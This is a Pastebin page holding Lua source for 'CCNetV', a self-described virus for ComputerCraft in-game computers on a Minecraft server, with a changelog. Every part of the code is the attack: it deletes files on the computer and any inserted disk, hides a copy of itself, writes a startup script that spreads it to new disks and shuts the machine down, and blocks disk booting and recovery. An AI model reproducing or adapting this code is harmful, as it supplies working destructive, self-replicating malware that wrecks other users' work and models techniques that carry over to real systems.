KinoftheFlames

Untitled

Sep 17th, 2012
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.93 KB | None | 0 0
  1. -- CCNetV - A virus for CCNet (EpicCoderz server)
  2. -- by DESTROYER OF WORLDS
  3.  
  4. local VERSION = "v1.1_2"
  5.  
  6. --CHANGELOG
  7. --[[
  8. v1.1_2
  9. ---------
  10. - made virus turtle.dig() compatible
  11.  
  12. v1.1_1
  13. ---------
  14. - hide replication file
  15. - disable "formatting" hdd by destroying and placing PC/Turtle block
  16.  
  17. v1.1
  18. ---------
  19. - limitted replication
  20. - delete disk contents too
  21. - fancied up the output a bit
  22. - added pushing .nodisk - making the computer unrecoverable (besides mining it)
  23.  
  24. v1.0
  25. ---------
  26. EVERYTHING
  27. ]]
  28.  
  29. os.pullEvent = os.pullEventRaw
  30. print("Welcome to CCNet Virus "..VERSION.."!")
  31.  
  32. --delete files on hdd
  33. if #fs.list("") > 0 then
  34.     for i,file in ipairs(fs.list("")) do
  35.         if file ~= "disk" and file ~= "rom" and file ~= "startup" and file ~= shell.getRunningProgram() then
  36.             fs.delete(file)
  37.             print("Deleting "..file.."...")
  38.         end
  39.     end
  40.    
  41.     --copy virus to hdd
  42.     fs.copy(shell.getRunningProgram(), ".CCNetV")
  43.    
  44.     --delete files on disk
  45.     if fs.exists("disk") then
  46.         for j,diskfile in ipairs(fs.list("disk")) do
  47.             if "disk/"..diskfile ~= shell.getRunningProgram() then
  48.                 fs.delete("disk/"..diskfile)
  49.                 print("Deleting disk/"..diskfile.."...")
  50.             end
  51.         end
  52.     end
  53.    
  54.     --create startup file on hdd that spreads the virus to any disk inserted
  55.     startup = fs.open("startup", "w")
  56.     startup.writeLine('if fs.exists("disk") and fs.exists(".CCNetV") then')
  57.     startup.writeLine(' fs.delete("disk/startup")')
  58.     startup.writeLine(' fs.copy(".CCNetV", "disk/startup")')
  59.     startup.writeLine('end')
  60.     startup.writeLine('os.shutdown()')
  61.     startup.close()
  62.    
  63.     --create .nodisk file on hdd, preventing disk booting
  64.     nodisk = fs.open(".nodisk", "w")
  65.     nodisk.write("")
  66.     nodisk.close()
  67.    
  68.     --creates a label for the computer, blocking a hdd format by breaking and placing the block
  69.     shell.run("label","set",":(")
  70.    
  71.     print("Thank you for your patronage!")
  72.     print("This monitor will die forever in 10 seconds.")
  73.     os.sleep(10)
  74.     os.shutdown()
  75. end
Advertisement
Add Comment
Please, Sign In to add comment